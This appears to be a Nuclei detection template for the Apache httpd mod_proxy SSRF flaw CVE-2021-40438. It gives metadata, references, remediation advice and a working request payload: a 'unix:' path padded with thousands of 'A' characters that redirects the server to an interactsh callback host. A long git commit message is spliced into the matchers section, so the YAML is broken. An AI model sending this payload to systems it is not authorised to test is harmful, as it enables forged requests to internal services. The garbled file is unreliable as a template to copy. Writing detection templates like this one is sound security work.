nuclei-templates/http/cves/2021/CVE-2021-40438.yaml

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id: CVE-2021-40438
info:
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name: Apache <= 2.4.48 - Mod_Proxy SSRF
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author: pdteam
severity: critical
description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
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reference:
- https://firzen.de/building-a-poc-for-cve-2021-40438
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
- https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
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- https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
remediation: Upgrade to Apache version 2.4.49 or later.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9
cve-id: CVE-2021-40438
cwe-id: CWE-918
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epss-score: 0.97544
cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
metadata:
max-request: 1
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vendor: apache
product: http_server
tags: cve,cve2021,ssrf,apache,mod-proxy,kev
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http:
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- method: GET
path:
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- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}'
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host-redirects: true
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max-redirects: 2
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matchers-condition: and
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matchers:
- type: word
words:
Dashboard Template Enhancements (#3752) * Enhancement: cves/2021/CVE-2021-1497.yaml by cs * Enhancement: cves/2010/CVE-2010-1957.yaml by mp * Enhancement: cves/2010/CVE-2010-1977.yaml by mp * Enhancement: cves/2010/CVE-2010-1979.yaml by mp * Enhancement: cves/2010/CVE-2010-1980.yaml by mp * Enhancement: cves/2010/CVE-2010-1981.yaml by mp * Enhancement: cves/2010/CVE-2010-1982.yaml by mp * Enhancement: cves/2010/CVE-2010-1983.yaml by mp * Enhancement: cves/2010/CVE-2010-2033.yaml by mp * Enhancement: cves/2010/CVE-2010-2034.yaml by mp * Enhancement: cves/2010/CVE-2010-2035.yaml by mp * Enhancement: cves/2010/CVE-2010-2036.yaml by mp * Enhancement: cves/2010/CVE-2010-2037.yaml by mp * Enhancement: cves/2010/CVE-2010-2045.yaml by mp * Enhancement: cves/2010/CVE-2010-2050.yaml by mp * Enhancement: cves/2010/CVE-2010-2122.yaml by mp * Enhancement: cves/2010/CVE-2010-1980.yaml by mp * Enhancement: cves/2010/CVE-2010-1981.yaml by mp * Enhancement: cves/2010/CVE-2010-1982.yaml by mp * Enhancement: cves/2010/CVE-2010-2035.yaml by mp * Enhancement: cves/2010/CVE-2010-2128.yaml by mp * Enhancement: cves/2010/CVE-2010-2259.yaml by mp * Enhancement: cves/2010/CVE-2010-2307.yaml by mp * Enhancement: cves/2010/CVE-2010-2507.yaml by mp * Enhancement: cves/2010/CVE-2010-2680.yaml by mp * Enhancement: cves/2010/CVE-2010-2682.yaml by mp * Enhancement: cves/2010/CVE-2010-2857.yaml by mp * Enhancement: cves/2010/CVE-2010-2861.yaml by mp * Enhancement: cves/2010/CVE-2010-2918.yaml by mp * Enhancement: cves/2010/CVE-2010-2920.yaml by mp * Enhancement: cves/2010/CVE-2010-3203.yaml by mp * Enhancement: cves/2010/CVE-2010-3426.yaml by mp * Enhancement: cves/2010/CVE-2010-4617.yaml by mp * Enhancement: cves/2010/CVE-2010-4231.yaml by mp * Enhancement: cves/2010/CVE-2010-4282.yaml by mp * Enhancement: cves/2010/CVE-2010-4282.yaml by mp * Enhancement: cves/2010/CVE-2010-4617.yaml by mp * Enhancement: cves/2010/CVE-2010-4719.yaml by mp * Enhancement: cves/2010/CVE-2010-4769.yaml by mp * Enhancement: cves/2010/CVE-2010-4977.yaml by mp * Enhancement: cves/2010/CVE-2010-5028.yaml by mp * Enhancement: cves/2010/CVE-2010-5278.yaml by mp * Enhancement: cves/2010/CVE-2010-5286.yaml by mp * Enhancement: cves/2011/CVE-2011-0049.yaml by mp * Enhancement: cves/2011/CVE-2011-1669.yaml by mp * Enhancement: cves/2011/CVE-2011-2744.yaml by mp * Enhancement: cves/2000/CVE-2000-0114.yaml by mp * Enhancement: cves/2011/CVE-2011-3315.yaml by mp * Enhancement: cves/2011/CVE-2011-4336.yaml by mp * Enhancement: cves/2011/CVE-2011-4618.yaml by mp * Enhancement: cves/2011/CVE-2011-4624.yaml by mp * Enhancement: cves/2011/CVE-2011-4804.yaml by mp * Enhancement: cves/2011/CVE-2011-0049.yaml by mp * Enhancement: cves/2011/CVE-2011-2780.yaml by mp * Enhancement: cves/2011/CVE-2011-2780.yaml by mp * Enhancement: cves/2012/CVE-2012-1823.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp * Enhancement: cves/2012/CVE-2012-1226.yaml by mp * Enhancement: cves/2012/CVE-2012-0996.yaml by mp * Enhancement: cves/2021/CVE-2021-39226.yaml by cs * Enhancement: cves/2021/CVE-2021-27358.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2012/CVE-2012-1835.yaml by mp * Enhancement: cves/2012/CVE-2012-0901.yaml by mp * Enhancement: cves/2011/CVE-2011-5265.yaml by mp * Enhancement: cves/2011/CVE-2011-5181.yaml by mp * Enhancement: cves/2011/CVE-2011-5179.yaml by mp * Enhancement: cves/2011/CVE-2011-5107.yaml by mp * Enhancement: cves/2011/CVE-2011-5106.yaml by mp * Enhancement: cves/2011/CVE-2011-4926.yaml by mp * Enhancement: cves/2012/CVE-2012-0991.yaml by mp * Enhancement: cves/2012/CVE-2012-0981.yaml by mp * Enhancement: cves/2012/CVE-2012-0896.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp Fix "too few spaces before comment" lint errors * Enhancement: cves/2011/CVE-2011-5106.yaml by mp * Enhancement: cves/2011/CVE-2011-4926.yaml by mp * Enhancement: cves/2013/CVE-2013-2287.yaml by mp * Enhancement: cves/2012/CVE-2012-5913.yaml by mp * Enhancement: cves/2012/CVE-2012-4889.yaml by mp * Enhancement: cves/2012/CVE-2012-4768.yaml by mp * Enhancement: cves/2012/CVE-2012-4547.yaml by mp * Enhancement: cves/2012/CVE-2012-4273.yaml by mp * Enhancement: cves/2012/CVE-2012-4242.yaml by mp * Enhancement: cves/2012/CVE-2012-2371.yaml by mp * Enhancement: cves/2013/CVE-2013-2248.yaml by mp * Enhancement: cves/2012/CVE-2012-4940.yaml by mp * Enhancement: cves/2012/CVE-2012-4878.yaml by mp * Enhancement: cves/2012/CVE-2012-4253.yaml by mp * Enhancement: cves/2012/CVE-2012-4253.yaml by mp Trailing space * Enhancement: cves/2013/CVE-2013-2251.yaml by mp * Enhancement: cves/2013/CVE-2013-1965.yaml by mp * Enhancement: cves/2012/CVE-2012-3153.yaml by mp * Enhancement: cves/2012/CVE-2012-5913.yaml by mp * Enhancement: cves/2012/CVE-2012-4242.yaml by mp * Merge conflict * Fix references syntax * Fix syntax. Again. * Update CVE-2011-4926.yaml * Enhancement: cves/2021/CVE-2021-28073.yaml by cs * Enhancement: cves/2021/CVE-2021-39226.yaml by cs * Enhancement: cves/2021/CVE-2021-20167.yaml by cs * Enhancement: cves/2021/CVE-2021-40438.yaml by cs * Enhancement: cves/2021/CVE-2021-40438.yaml by cs Co-authored-by: sullo <sullo@cirt.net>
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- "Interactsh Server"
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
- "http"